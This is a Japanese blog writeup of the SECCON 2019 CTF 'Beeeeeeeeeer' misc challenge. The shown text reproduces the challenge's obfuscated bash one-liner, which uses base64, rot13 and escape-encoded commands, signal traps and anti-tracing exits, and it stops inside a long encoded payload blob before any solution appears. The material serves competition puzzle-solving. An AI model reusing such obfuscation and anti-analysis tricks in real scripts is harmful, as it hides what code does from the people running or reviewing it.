毎年恒例のSECCON CTFの予選です。 私は、今回初参加となります。ただ、当日試験と被っており、ほとんど参加することができませんでした。 問題内容も結構難しく、ちゃんと参加していてもほぼ解けていなかったと思います。 今回は、11人のチームで参加しました。結果は、128/799位で545点でした。 私も、一応1問だけ解くことができたので、そのWriteupを紹介します。

f:id:tsalvia:20191022185341p:plain

SECCON 2019 Online CTF Writeup(1問)

Beeeeeeeeeer(misc)

問題

Let's decode!
・Beeeeeeeeeer

解答例

Beeeeeeeeeer_ec349d2c91cb37b7657bc3d684d0b5c4c8cb06a2 を開いてみると、以下のようなスクリプトとなっていました。 ワンラインでいろいろと処理が実行されるようです。

echo -e "\033#8";sleep 1;C=$(tput cols);L=$(tput lines);for ID in $(seq $(($L*$C*6)));do x=$(($RANDOM%$C));y=$(($RANDOM%$L));printf "\033[${y};${x}f ";done;for ID in $(seq $(($L*$C*6)));do x=$(($RANDOM%$C));y=$(($RANDOM%$L));printf "\033[${y};${x}fF";done;clear;echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=|base64 -d;read;$'\164\162\141\160' '' $'\61' $'\62' $'\63' $'\x31\x35' $'\x31\x38' $'\u0031\u0039' $(echo MjAK |base64 -d);echo $-|grep x && exit;$(echo =btB |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNpyW3M |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo XRKY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo =ogO |rev|base64 -d)&&exit;if [ -z "$1" ];then  ID=$'\x6e\x61\x6e\x64\x6f\x6b\x75';else  ID="$1";fi;if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null;then :;else exit; fi;for i in $($'\x73\x65\x71' $((RANDOM % 10)));do  $($'\x65\x63\x68\x6f' c2xlZXAK | $'\x62\x61\x73\x65\x36\x34' -d) $((RANDOM % 300));done;$'\145\143\150\157' $-|$(echo =oAclJ3Z |rev|base64 -d) $(echo =oAe |rev|base64 -d) && $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );$(echo =btB |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo M3WypNb= |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo YKRX |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo Btb= |tr A-Za-z N-ZA-Mn-za-m|base64 -d)&&exit;$'\145\170\160\157\162\164' $'\u0053\u0031'=$(echo aG9nZWZ1Z2EK |base64 -d);echo -n H4sIAMlSRl0AA439Z6/k3prliX2VRKEG1QX2BYOe1FVJoPfeU6MX9CbofRD14cX/rduYHqmB0YvDczLpNvd+nrV+KyPyRDWtf75/2vHPv/63f/1vZd5Mf2ZY/lr7f/zHn//c1z/035L0b88f428J/Td9/NuT/m34zyzdShz987fi39+T/ptDG5yp//nf/kCfPwD07//+738vpj/9f/wv9vz9T/XebPg/3ew//qNm7wDO//znWp7/pyv37/Hvld4j/+1/Pz4fHPvHFvnHlvzHtvq3P0loTNk1vWP988/D4H9sob+2BPJ/nIjg/9ii//bP4+DiH/veP//7n7+N5Z9/+9/Tf/v7P/f987z8f7rtP7bE5z37n8OebP3/e8h/DXcs//5fI77fU+53tPc71vv/d6T3O877HeVNIP916Du++6/R/fXo/yJN158hHX9/srKct//nv/xjYNB7CoRi7xf0fr2Hjn/+72BRnuC+//7+p7znad3/jH//01Z//l9//uVfx3/5x3P9y7/2//Ln//33vSnHP/9jWMRfQ6Le7+i//b1q/znsfzzWPwb5o/ds8GsFuhvl2Z9MDPqcpW8TDrpUJGstxHqZLfLYzYkcvvskomvd2/sYbk6ZhY7EpcdI5EcTMbYkDC6Z44l/Xrd1RQqRRajJxm8dD+91JR2Uu039z//1nMWD8CRe/GHr//i/mre/9r1rev/Xiv5zlSJOif9rlf4vK/k//8fCZsY4uI/2/+dp/+uV+R+1WP7b/7xE/3MdE+R/FdR/1fE/fv5H4RL/PBvC8H/7ryXxYWErxOAbQSRYBBsvx09cSH1OMIFRI9J6YpkwGOAQ3GtsRH43xi17cC779Z8ecPJisnIR7ZtV9HAHLGcGX4NPrpVNd5NpqMij5gAhvFeA4woRgGtCIgQPUZxzHHEgxxEYOkTg436isbDm06sGtqbZWwYonevOCWK0ms9KZBuA+oMKcToquo35l7PzJBGu2weC6OYrfWMLEkZUmUweOOvq2Gl//xFrmpYfGZDVBvK0UGiv77gP0GV9FCnUzua9fXpKjTYi32xNMFXH+jw5TzFsDwuq850u3Mbi0fA2Kg/TE/UR1o4/wYzwxd2HWnonL3nFgVxif7/KwuRcj0s62xpHMfCfZ/1+4EB/LOYOK6CmVxEtOnkeiPDqClQ22/MmvDpVhFvvIgcg+rGjfKPYfc7S5RLlPiu2QwwOOAxxgejvvrefEVSJfiWQwB8GBNd+ZrQfF7tELjMZ81dLbtp/sDVFfDmekEKD4Q78NFUIyc+UoPn1U+ZQNtSncFzIu9TPooIlBGQIDtPoUWmHEgnzMij9PFHjto+pT1nLaM6KnIedou9qmYBW5/or7ldfJO94QpPYUcXA69uGU7SSvm7SyMH+wpPCzlJ01LEO9HZRei8C/JKGQbqFqVMCG0ncp+Fns131ebDtu33vU+qxhEk2O58EIJ34J7dzIp67dEkCBIVpklWqFBhuVqqJVPgqtoxbWM/tC2sH+l47MKu4k6N8iq1qi604za7kAwCmHlIExJEd9oq3wtVn6N6BtqvZbTEhDsqE3ca7/ZLd1Z74+slsQq32zHP3WY82FoVY3By7+N4qmmzCDAgC+XNQefc6yLmHZUZ/ce5t6WW4Qw0iHLpvXXC18GVGq1z+dHp2t43HzyeIYMKWWlyX1W9Afvuoub1+pcMG3M2tb92dPb+KstEGpnjiY0bWVemQNMBklzG3z1eLrVwqtj4GdmqnDe08Nw/fiaVECrLo3Q7Ixa3nZ/xINeiRUvKNAC6cZTDhfZoT8sur3Cwt9MNHZqn+MPNS1p5OuVWPhrlQJX7lmeUUUiQfQjdvzVZO/LTUfsAGJket6DORte0YxitvTL9Vh1FjE85eEDAmLsAzplqf7ga3o0TSk62oEQKPxSMqwKxmir09uWV+kdOcNoEkOMHbnOg5E1XhJEtRruggqC9+pLJGx6ZBBCp41ADeo18KntnNXgxJVqjvQU/qpjgt8TfWVaveppfiNbhgu0iqpqQX85/9pDnys7lTzpiePAbeeuxJfdI/MV1zEzFTo6I56oRU21f1aaDj2TJF2tMnIzLyG3sdxa9Yco6ZjCxDLbeAAx8/o9ylmwbfxQ1N4+538bdoj/FXKY58ExWuTDVijz1/hR/GaaGwRVDMg76uUxo7E7wNJN3wq3eVCZC/JYCKYUnPo7qS4Sk+jxMJ51gTWfOrtra6/D5RlZgJNcpHaKK6fqaM2iDI1irFmzBnhohpfYDtlAj8e7Q/finUs4q/4aMqcOYtFYnB7gDO2w6HrM+U2BQUS8u3kI6qmD7DaQym90GiSsXGVX5ZtIlYwVfbA7lMO2lFVeFSfudkharKObGiEvsEBpsiztlxAp302e7bamnODT0GWaDYvEonLIxfQ8kf7DxDyJ4e15zTWosVWWCphiAX5bN9EiZKZbMjdNrDSRmpqq4HyYcBBNM7YQuMnh/g06ijU79UWPhJyuoPwrh44YsJzSKpqCkzoi4qEagxmmJdTLRTNE0ysJJ8PgITrzLLVR9VFKf64F98Mv6EUckNY3xidWeoEIKL0iIVAs81N3ZdWdlAqqDW/udLeLsQC2S6C0Y2irgCkuEVUeBqQG6YhnXbuSrzosl+KlMiqGdPUqgMeknDGvDV8Kj5RntlZ5DVg9Holw0D6NaVyv30raXMDrnW0qoEXdydxhUYmuUOgk/qdtyf0T1jlmhYftKQq0QtI4Wu2NLfy9QaTVf3aYSfNgrSmPN/U8xtnTH2slCK5h7PDHOJPweENydH4q/tId5kdl8rOgUNE3s3uKJos+6h6BI3qRji2XmohM2fOkH0CkelanDfSY9VG5NFINnWkR/JPvm1KcahmSUPYPaEX0pcVMg9xWWMQqV68JySQHPJEfaQbac9Tp4DCOybRxf5OHdyRhplAN4A3I46yB+lma5ZlEjulot8/Q06S0SpsYLGfrwaLMhecot2NsX8g83cV+D1gKqQSDnRiVESnxGfLyo3U9GYM3WLkdGXgJwkRGtPXpIXfikRWoSAKe8JDleMx8pUsLPPq7wtO667XnGo+jviEQNLlaoWUfh9dCjy0d3TumoGwNYsAJk4RkLB6mjpi6TzSKT1G36/OPmEZZgQWCxK0I6FG44iWB+vAdu6C81wDX93rWlS7B4XooEoCEX81JD8Obr+d2bOd4CZUUPWV6MTPd1g3lWrgJAtsE7f9ag+moBuLOT+ZIbIrEenFDJabo8wuNT0gYRfNiJhsZOymVunxVgwWODsm3BBGJQXw2mJ2wYYKuiehE7EUkBryyp0PB/snRcKiM/TQYqrsiAjR9bx7k7AJR3kX/js+WbPnrMYEkL9OvGG4vV02HEZSrcWnwvTSvbEgrlDvTG+DlUa3gmE227GsFyMs6Nu0J/ueT2tLL+gbwIjd4GeLJDfPS7veYKNv3N8YFAd8mA7z1vfcMMn8mda4DGFG1JV4odx8xMO+mhmDEiAU8qYmXtFPzkYoTbab8IP8RTkFGUzcoEEV+fJhmZg1zT2wFeJq5HOT0nu3F0jzGStd6mUA0meKFXH8saR+Y/rRKu3tczGskiJsHplvmn44eTFa0KbPCt4ugb0oyz5JrVWUCO9oLl9ttz126AOWG9C4iFhg/QU+uU5QkeLGpXx+jwLb1pea+kGJv3suBrR6RZ2IruVl0iav2vC9nb0aBAlvA41MBglg8PxaBoBfXcuF1VhJbn4HK9jPW2QlhgnMBQ6uhJoBB/Y5IZwPlwxfztlCFbkrWK26wNJ85f7Gsz6mzNl6gsfoIHRjCn4DNAAerQEb74zGV1PyMYBvqT4sjeI9vtLQ1lOS8FcRhcri8jQgfq5HHBCqt900ZxfarGgt/EPmEqziwd/YgjztcfdWMd+ttl9WCJSHvdVIgvJsh1hx/MbtX1l12lq9+7v5x6pQJevOxsPZmpAJayIekDbioe8Y8Jf1co9vA46tHav25hut1xIFTmgV7RU7weGo358NrkBRm6bPLvfd0tDmbqIxwWnlRoeDfdz8Jwg6V/Py206Cu5wddBeubsi2oGpnYphs03W+2gh5EgL8krVoFClJCNZh/cExEwiAI1ymnC5H143gwDBSCFhj/HNBfk8xIXmUV6Jbm4kkVxbCBehRy4mlFpp0swdXuv7NQdOVLcSwR/dkcrkN3n2gOGCm6aXnrjQa+omAGlxXnaG3905X+NkJXrIvqQoyc/T9AKvbR/a0VOTBfwOyrITjmCHFgg+OVbk82vrG6EwWhPwbZySQGgNY3qGTfuKb38UzoHARj8w/oPHI1LMr2eArXokQ6Jn45sbJjQxnHqxPfnR92G2bAvTzk9ctQfwXYnXJI4qCV81y6qD8UDVYQCLSsPM2zc3uTBvbjZb8z4eVhPMvtWB9U0Dv1/auLclBzg5QjPfNlz6CeB+7BCQWpWJdZKZ9M090lCBh0u1i9z/KBCapmALJjcBLsnBaTrjJBjE6K1LuzbjFC4n61YcfgOwFTJj3hFnsczmQC6cw6CUm3ef560gdDFy4D7t1leaZvm42J8q8NMnvbcK1+PBVThLDoNPzPaXjCFwxbES/0QJPUAfnd0+PJ6ID1MWiSvXQ6+3Vmlspu2ElXc+pyxLbbrrj6FYrnspB4XbXYbAIrH1ozKNGwaNUPdeClgdPUNFUrgdhDq/zpV9KFsoQuu78SrGh/SAuen1gGgx1WO2nfAbU6BfJ9FbhsnUN+dlT1RGCgwzQv0irIJ6K77d/tIcodGZvTCyQWN+WT9XzLmUBUGG949J0lthbPD2YJOCILW+pd8rwmYHaX8wfpoDK6bHGoX1kbRnVfvKI/YQqdXmjpwlHUk3hjSYgKOiRG208uZA0mWoAfhdNNysqEHEUTaOYPYtC2pRNfuUSGj2OifUTD2TjGMJlmEcUO8NDuGW1eps8z42jsyXnHnypmsIUTPtOaNfTilNJJVC4tqL74e27uBNhT3oNl245cm25/fkHXfxqDpsAgQ8nNmmmOPLoM7+Yd6WaYjTkiRJN4TKRq6zMeqEBWz2qbHu7Cxv/rqdknpUa+d+OxZQ5ERhEShZftwVENx0fr2Fp5wSjeQFEdOSxmnw7Yvfv9mLSyUbtBIKwQeJIi5ITta2QERfUHhrGsETQleIHLyTnvt4kUNNxZ+SKjTcEpkj47Hpw4ktJK9m/JqRDSX7F02YlXrT60BF7qJFyHwyVWxXPOJanoYcywpTsTAsorSP3eyn8Ct8G1CUIwfctyX5mKDHRSpVVroNaQDpZO038m7+w2+59suXIU2mxjPvc09JTixRqfTks4mD9SBuot+I6/fxWmjJZznCi96qyoa0nLF5Mr8aOswAxsZP8IeiJ7c2Ikjwxh2C29goq/s8kABGZ1ZtpnUetSvqmtfVzSmVqd5SBfBH5om3aahqpQ9KAUQ8PZSIdBuo3l9Se53dMX4CZ0qpUKHoKu4kaQfsDKBfksKuLKHdaV126vGSPeQxRkPk8NUo/T77ezBZJSZE3x3giMSJYX/lRNPyrxZIRpOzKCKQ0l6M7tt59SjBC+xHkPPzZ9FA9wQXShBuJ7u1HhYjjTD9bpWfFss9Ip3YicfeV+02h7tHlTHFyVTHujT2pfmWVg3QWYm3XH+yeO/Vr0jukuSTr5wnxQsfub48aS7SZXfuo55FPBJaLJ3HQLXDd4+A+yROAXbCs6ut9hEI3ZygHmqQAbKLva/DcWNVdPM8xK3t4xb27+zBvW7JyKfZN8yUEpBJUZoqWghzOMiwTH8fo11BnNJtjhbEJhaAvDzuEgiWnIcMzM6gkj6shvoAyX7JAjy2pmc+wDj/xIY7oBDh9Z3Sc2tlaRyiuVE8qcrbXBnjcGVaJ3WjVLRYSzuWrZr5iZDLm2qU2V0uFQUi1wDH8aJd4lk9/MKypuirTAsHUNbDW2HiSGLVHX8j0m2JCypAs6Xl1MxP5DemZfxWVCNQNTgoorqVP0M3KpezZ4eF+biccZeFkmuh5MWyZpn4fZpv6lZ27fXmDUqLB70gfCnnAoRBzqMmYRsv6yJfse2/VCXRie02FCMcqKk/11m+VbckwdkripHYvhUFiooU3/4Bn4gteLjiveBLY5/hCtVDQaoyoUkuSB0iNbOdzuw5WVg1wxCHgscALU9i9rOkf4vT6NbYoBG6CVmVpmiLTi/sCbv9omL8zq/nfk4yCCcANMhoeH2w19WU0k3gvA8myJDb75kXXxYjALI6UuCwjHElvrmPoICvZ+G5EaJr2t302A3Ct0qBjgN6BLatclzuPq6PeunlDJC9z2/hXU8j9YSgu4LqWvkObZraCPGx0OOzX9cRnzdw1VRvpzZKHjDluopKrwK29otTA1WYaVPO+x/gUyEyzSBudHxM9z5dzyB88RrkiKj0bVV/ogc6taTCCVdh0A6nRPvLWHmDQdyMBh01VLklRiyMyytuvAuKZtPHKSAUjB9ixnI9LY/RPmVCPX1BjuTHbjltgUAVkLKYM/yn3sE4kEoc7FpBNHO8xNrFq++3K8kbW/SlAJGqUQnm5ZHASNBGdodGOyH3e3POqpIHUZM/Fv9VT41+VyGogdtEiYu9FXRQ5CIageKSZ7q4KU1Vw09H28X3gY62agsIVE4n+23eR5iEwNFrlkusvaCa+nqh5Nj6QTqyG7l4/7ACc0vuzYeJZNTKV0NTC1qvpwOjXdt1Bdk969aDuK+q6rp1riAHUSohu4BazT+fWhXzkp5VmgvUdauwGHhkoai+IkTgS5nTH75yLAQyCYNEFWdmSkWTGw0Z4gCwPmuyKqplM9vSrdM3WGn6ZFRs+oCajM5LKBdeh58AkncpPPMoGx1T3b51oIGw3uY5iARJ6JMJnb8RDdoBtS/XrzfD6hkhreKthPKm0lup2vY3b583yDTUssyl35ZUsaSVcIJrfAYOq/oqjPprrGmCuK9eeEgFUlPfhZqW1KJmrQ5enyoHjLPzq3IYlqpl04YDFk3WZwZl7w48C5/kWwed8FtPIqd7b648j/C8upZ3b35OlS4ig2qPo5rXyEFezzMr3DsPOBq/vf1NxgH4GtgKFiGMMt6I/Hg0040DH7iKgBfRu28nEp+3Wi3SzMY8Nn/B9isK9yu/5qmFnol/WHAUPxi8EOpwl7d4FGGqgXaqJDI3F5savqhgU5GI9izywe3+6/2QxMCLUf8ZLl5fJlE6Y66xsUezif2rwYUeBCIe5kAhF/fDzeaRSlr4lXkuuSEktSUNDSimYG9e09k4zvwIh0D9kJ3QB2UCD/lv89uQnSflWlUJGsEoX3pvsP9QDCQAvaw3dWpYMQ6NtgQ29OwsgzImqnthiBc+0HGij4qJXYnjTZ8qL93EXKxVqf1Jws+SuxIxDBxZsY/ZYjwARNrQiE+O73MS0FAxdOkAbphgMq9su8eriuvufHqupWQ+PULXVbcnUyd9c2jUFpkH0A4UDR66TbguR5Qcp89td++uFn1KBex5pR5F71yQqSBYJndT7ZJl6X+B0hlrS7WsM6E/ZW5pkmJHGknpdOx+wvVKhYosmZ3xaHig2xZqAXF+hAIMUpIZ6uV31Q2qkvLemVo4aA1my4IxZ8lvsR8vGFEpT7/g86GoyfhYy8CLsMSp8sneX+zTlLCdJJllG6FXtgf8azn5CGhtwpxvt5wu5pcRIsazkY2PR/lJsXGHlfBNd1nLMzeLwew0o+paKaOpvgj3o5ULVtfoXPy47+qRKuU+KNP222K/BgTcp7i+RedPC5rJ8tXheOl4AvYmQb8QgMu6SCt+UJ5IaY86/GUb3GHFmNwd8F4bc7bMt3ydf3HtjnV7Nt4BJj2Kyhzf2ER2/DhIGspDTSPiVaNwzcb4+JKQcZARyV31iyiFp3yJ5JDiu64LZrL4CCGTb9Mwpc6YfMSS88elKYHKEkfTRI85tgtqTAxv83EQEUkYyVc+w8jqARSXpfRgXs268q/8UnWgl6u8OHI66UuklvrvnvSgAVWIchInYUE3OedE9WIp7xc1rbTjRo2HEzKntVBY48ordF8gp9fs2PdU2D491EwEHE96xs87sjy118EO5pzCVWZyFUEn8Sm2NFHZ8co6O4FLeHlIyegIHIyt4pNj1vqhs1qGMX/YklYCWmo4bRaYk+8L+5vDYq1dXGb9fQZvL+fKUtZYTLHto9garny4+6sbe0Vcwwq5dbLZxKG9/nx0ihyT+7VLLO6RyD3YaCMoGQqCKK2JShhmUGxX8IvJH7ZIPBXvyYSjt1mXhfBXTFfDElmHxi36Sq6TnZrV/2bwCavbXfBqDIOuQksyXX8uKH5ei/oO4qd9ZxoL2SY8uJIJBdCiy73HqqB9Kw+LY1tq1j6VA9QSUp1dtAGbQMC4xk11lXJipa/AFdc3iH/EG7EWW7EIr/otZLeRXQtdj3oz6+AuTKNeH82MGGefBO6LICHM8wqf1naZjkVCAnAgfBgI5YMxkaQ7/1kKToxeJbwWNqduMrm2Yn7EOM0HNPJrbtEtqkyugEFMhJJ7jLHVxaMorYjhHHWAvPvFJMVNo/UttZfDThNY5NHL/A6OVaj5TAxFmdU0adJzGHMR99cl5dqYnVDC9QVDVSwq7qM8JBinueeIe5Dc7xIgEk871YxpLB3IsIXZGsEw+Ay7qnOYg9bJtd5gTffA56f9jerSlR0tEFD8eOM0bIHZBBnJdtH+lFBv50g7MNYeqA3RYdJzM6M/t8Z3pL+ovBOWwJmUzNOECQqSgbInauSUYTEHKN3L8AImNe6wlkkulGDcuxjjWZHNnlQk5zwF7l6lIJbapR4U6CfKnLXC8LxtBHJO+1uHiLUuUuGFEzTGW3nx4KBhRHOBu7t/sS93vWBXQJv4/MhC3ODvQwo2k09i8mkt2apUSY1RV1jXyLPoVgkY2bhJuj03GqO6iGN7kPwoV+PkzoY0tfODSqQVI1eRzm8fQR6eIISBGtavKAHOH+ezqwHkgKMS7hyj6aev3gu53xnEt9UunA4VrSksmXf4Nr5dLwSti/LWc6R4G5NSvr5mLbRyv921j+9W8RuBjgXrzLbfD181041OgrZ77wzWDtoH50STa6UQcv54P8v+fRtfwa5SKAzlvK6uDB/oVg2JnLea1hE4+n3J1q0pigD6/sOE4l5YYGx6cetgSig6n+nKBZ9uMM15rZANl44CN3r+fjQUdxoak1vKIbJHp/yTvnM4NaYYDUAOrmPPjYLhse9PDnh2QS9SCCUvbzx8/2Zqcy5uP9+zUWJdaDg8wZIi1fPFtp7LT4ee4GlCw7aMWreWXMSeoipSO4aAD9z9vuv2IrMbgtppGHhamtrXpmPwSXFaGTrCT11e5sdiierxByFit+efU33nRV7NM2Im8H7sHUqZNpJh5GflvwBMa3HF8gpjVULW4tkhq1lf9S3JQGRGGVaK3O/QehToi1PCsyk7rx8K6HVTwc+ikt5IpNzYOxviCUJVSBZXpuPca7Ke2FzwIYcIwhFmBPi7ctMgXAQ/y4iuDPyuWlw9iAJoLfsl0aYPCt5Z9Y70sHXhpNlDD7LKrAGBRQre0sw7wfD4FkiA43GcTLV1OWBztRN+WuEu//ySfW12VDu+wsSoJG2GWz59CmDV2k0RYkovzP908zcXlimCkjjWTIUhObImQpXsAker11hN8WOP5S/xAiLdCW8Y0t1ReA9Zii5fAsrKmEPoPgbwKVZCH9gvbiEzUAFlCCoVDDT2wFGY7kkNduHk5KWmXsjg8L38JBniwpRROGmFFNzvj2gjejG6qovNMeJlGoLY7iXrISLP/CRFLKCATpHWKDng9zcOIXrjqDFw8e5nSOvTRnlL9hWklMYqqoHCeFYbhoVyUGH9UAFm5vM1W8xNKR+Yh1XV8yZqqBs8ojGLBkn/YKuC+5CHFe0Y+I2kfdqQT1YGRPaTHbMF+UpjKNKEFyxFvGErF2B5p9jjMzGOS6+iK2ffqRL0FnZqn/QcMWA1EUQnJQdbao68ZPcJqGIOeF3jI41jcHNAOthnt+iTufrQjW4PlmOAyOYiZ4kkYwwPVRzj4A8VA1wVxs3yk9b1N8TwiMJRN6SfUGi4N2M9ilJ9VgQKqx79pQo5jfDIB2mzlowTXbuduQyOfMb7qbwOyMGV/V5ZFnmVjGHPK7fz6b+JD1ENHpDN89JH53R8+UIRwXtWCHtkmxrmZoStclfRkdDc8hmyKlcvwPH3DSRympwZTv68hGj6BhzsYSnJ8UbXHYlG/UdD4rGONrzeYMaa1XnabmI7MFR4vAcsu8tZQuGZU21qSuDLtaB6IvCrxS9OVFk0Fs8NXzOY0Stq1Z2R1N4rQg3m4YpKLGWgM10sJNw9L4ok8OVGRBSWcOVk+rTrM8lXHzMZ41GKVh64gV9+Uc2FEjqsei058/0sFGbDDzIEIPhFeth2Phjbc0/UWQbWnH8glmnZnfabypKcIhhfTiODv7qiDI0uIwnN7lQncmrVJOnp+D094xXMl8MYNDYgiKxLRu88OwjC3XLqZDlon31R7dshGdYljX3ZIBnd0P1KAOkZNosO8OjZ2cc9z3eRxq+PdaAh9nw20Gv4+BTFfOlt26lB12bxWGy7IMmPen5+xCPhcgzJvib+ztQcQPVgQmvGjwC9seG7McPpVqwzkGOBXk7/nUnVYIAyv95HWUAcdvIEMb2iGJhjlS5TbB7pa0HzNLKz2ZQRgFfGUOl3ZOvlVeSaIBwc2fm9cPYIK/bf/JFajTlF97LQxFoqSYVzivIgijkX5MPI5g6XAxz2WKq9tPn9/mK3iC72S2kdtGYgIUgtH0AQkJ/M54rgD/GFtl81SSD0C0e8araIZ7Hq6yvq25/wnTtLAwWUwZucmnwoPxMAcEWOJW+/SW7BAF+u7ueaWgbCFtUubccFOji0wocIJrnCF9FABaWl1VnhtxFU55WZ1wTdrrvAuTblzscTtifxyQ6zk16sqS7okeDDeo0BpMh1epgtqJVrhCu4s2P5AUqFwet24BmzPWk5Jc6uJLe3WXsb3Z+MblevT4KOuA9oDPSDmjizaIvPV87N3zP6LW2nbdZq8qJdVLvX4kkvru+bUqRdCINnOw8sNNeBUDjTdRIP8Kfitkc9hzWKjT4I8wYqJY2Htocxm3b6ZI0YRgqnjqgSyypyWXEkh69IvYnosJ0cTw+ka5IrbWxcLJ8jkLY8cmlUxqXJSACrkdFr/JJLxnrK6NsE04kgc7mtKaxGAhPtoTcEMFVf09geOCPJtQ5Hv4aS4lJQeihcVqnXb84gbL2wivQNrwNfLj4thA9aad2wc6fbbot1s9hg+9KTNr/8Lgznc+niUXxg+RhET6nL9btHv7hV49U/hzhy433JsjP7IbC20pWxYJm1eTPi9wQxSIiXynjXZPLkAl7X6QpuULZHKEP8zpFLQgUiHo58I9n4bbrgU+yMPpSpclJwH7pJCDtM6fGUvvXGYYSwnPFfGtC/gCV5BwAwt+NqP5Okyiab1V+JxeiTFimzodiYvBb9wO7g0ZTKIb1zT7P582W/D3Txvs/unl94S0jaoiFXzeKDxutqFMEWeqKRygsWXlsdGz+yR+YncrsBM8w/R55OooUBNmiwkElQKH3mjr3wMIaMPiweiRIPHqm1wFyBsRgEqE020opknBr2/M5Vzvd6VLaH1G5jOYWkpxzB2YSpC1hyJR2PS9HFpET1QP1BK82KvyUH9oRMdhvJKjA6P318/KYePsr7wN0JHL8gufeoKm64FCGXnYBfcHiAHuu9T/QoZQBzOEWicfLl5jsjKamvUU8uPQQrxItgn5GaPEhc9l2bWfRlHeDAaYj6pKlWoJ5pPxyqlGq/YI9vwnGBnWIo08w5Ll6t0B/d9hb12x85D07SE7zQFXn4+V2LRM9H/kVol4BocDU7ymt8titewyaEthwsSyz7GSLep97Z8wMKjIZnYRZBjT7Km0oL4EYhzu+TWB5jaBRk7x2JwUGEqsX68E2R7wVU+r0j4WNP4lsiJturQGBvlL0xLD1/BGtnNBeTu8WMP1DnASTV09o1mzTANKWOsQVWzwSmfQPQ4jeMARsYjR1q1GVCPfx1wRHqJkQ/aPaDD48kZ2xCP8dDQiuVpqM07Z5hPKlg6m6AD8/qCj4yl43ewQ9dKy7YMdCo6Rrr8b0G0otYR3VGhpCHvHDBFFMOUp9zVpickO0DS/laMz2O4AiyKpWF6sQACLdgRjrOA7U/VR4BQRf1vi52PIGpu+ukf5kiBugi0U7za+yCf8Exbcl1SUaCqWsAhqPbEZuFHsZZIKilGiJ6C96FiuHLdIwvdUgF8LKUhPCWtKuU/3PT4DRlFr1nIj907fJGKCOxN7HblSJKLGertxO+6/TLeEsO4YK+BrRpG4bD3DpdhFd5wM0xnyUGriu5dLC00gYCowCWzzJ0GEqmg1WVhytkUrdjgE/4W7KfsF0e4xDIiE+AHbXEUvcIKPwGQz6jrSMZsfI7gX7rih4LEM9hbTZXZLxa8K83MymPhd0CHrrUK2IPOChN8iM6HWedWVg5SSkdu00n9xeFVeOkJ/ZJiAUiYkPmU6o+Y8twMzkTyqWhdRueY5bAHCzwK/vkrLqpCzYkm0LPff+E+FC++d9IrN8YYhA8wtDOLluDVixf7iU0OhCWf2KNDcik0wF16cpJvSwBllTptftO4RiZp1ZN3Wn41h0pwuUiqPaXvfIterWddyoxNYXvXy/msjz8gekmJJlBz/bpKEhw1rHzSdXONklOEkrsV3O/pxLfoFnzPJRSbDq4JcImk18y7FIezAefcjLQFxhaZjxFj+/Er/Xuy7D7XDddUWtMVbTCHHNPo6JlMx32+1nnNs57Cuqy9arLj0TnaxMjSeZAVYkIvx3mO1qxpG/ePNfbCesxQETvBF6qCmtpkT85/kymLIx4sAanz2FhwM9vQkXqeY4cNF0iMupSFfnhGSyvWTtefrHAM7GiWuCVmEbL2UpBrEFIm+exE0pfNwAAS9AA90ofehPN9NuLkqGk0ci8xM9ZvylewNIq6py/XiNwwEwLp7JNJnH3M+0RRVtheouLtrb+SU6IYcYBs6cVbR/8E6TLzMIOKvgwMKi4wzuIMR9rjQumeNd1CosJSo2KdPqsljt8bA09Hnpv4hEwGZ27rvRvybNpK0CT09kIM+zZBM2Y7hA+/ICgFGdvzk+HoVJkOlRAPpJ/8NSsJnmaCiVDMhiN7+hE2rNbWD1dLzUwNcEM2Z1pH8kN/xYhQ2p1JsSBkDH1/GE4K7z9t/jSzp+O8KY0Rf8RRGHYMFYTG15W1fdUpazl7WqsTq6NepYH2c2iT/9m2XH1mnDaW2vrQ0xs0gQPsfX3vJEbG2OtNN2pOI3KsI/sE4aXoSbO8/v+fhimENpR5v6On7xBCl9YFSZ7+ZERmvqfZWMaPyAIZJmDwKBWxbl2jJeqqIlkELrjuos5+opIf+wlDllPQsFL0pwAj5m/7EfJckd19xaC6Jkzoyrp1sR6Ek7O2l8K5RWjjI/zAVqZV7mQi4G5lOgt2L4kHdJG94Y+7FR6U9zRj17yrDFY1dXQtkqtVHRLJQ9NuNfTn59eBjUYY4eLJGx/D0bwHX6Rl93Wk49zekgcoKzUdIZv5vXEfAvy2q0lx3XZGGMF0afv0Yl4T6jED5sE1bNUYNxLp+Qj6e/nfasqF6FZjX/TON00IIE9+HtF3bX4nVxYSliMr2DLh/d6Xvisftbg8fomSerTNDM4JJignTEEsS8Cpvm33mbwegsRE2TzDp809K+s8UOp/+1MiPrwopk4S9L71nvtT3KJqkJ94PJHGUKxD6y/jPipYOUTFn14hvnEsB0+pGZc7r9nY5Wp8jWzgViVcAq4q3OkAYvLOPPdpz7UdVEkNjQ9MKBiLVIjtNlX1031pAGxcTYPqR5oddiTFIpWS9rxEyAXIz6V8VhVbX617Rhf9jVjJ/R6h5gBs10Dc1bB1WrnBDN/4Py4u+V9PpQMQ8bqvxE+CjZHSiCaDpj+qL7Cm5GCz/5ZwgSXQ9TEBFJuoQQUxwfIC4H4fCAAKwpE7tvQUdfdqL9DG0kU+3ripQHtY3EO+uuryrYW/nk+cvBdoL5cC3w2RkgLv8NAt/gqFutx4ev3JzZe6dxo+pqVpDa+nGKxh9NBp6MngX5B9AGziflAH9U3LONTz96posK2gEN1cW7rrjZuFGP1m8JvqIZXzM9h3HY+eX0z4EsTjKfOch/EARMCeK0DnLs9bXrSrdquKULU+Xjz5D5hDIXDcytecQm8z2A0gon0GMjUWK0xcJclOlL1NCG5g7YwSe7p8JXEBFA+E39ODdSTd8YGV9qWe5DyApgeQZvVJmN95Y/zMtgwGx2XssUoKd1Nt1x23W+s1uuBqqdMOa55DAtkGEKOjwCzFxf3YwVOZjhbexDHF8FdoztTW8XD+g0Lxx0G1YbohG7KLh3gX27PZWZFfgc2NsZ84qz4PPPqMoICVJHrp/V4LjDygHUapCsznbY6hDtlcV06jPMKeDQ0QPrRd/eh+1ySAnJXwpyRRmdgahFgiJYAWtgEJm/0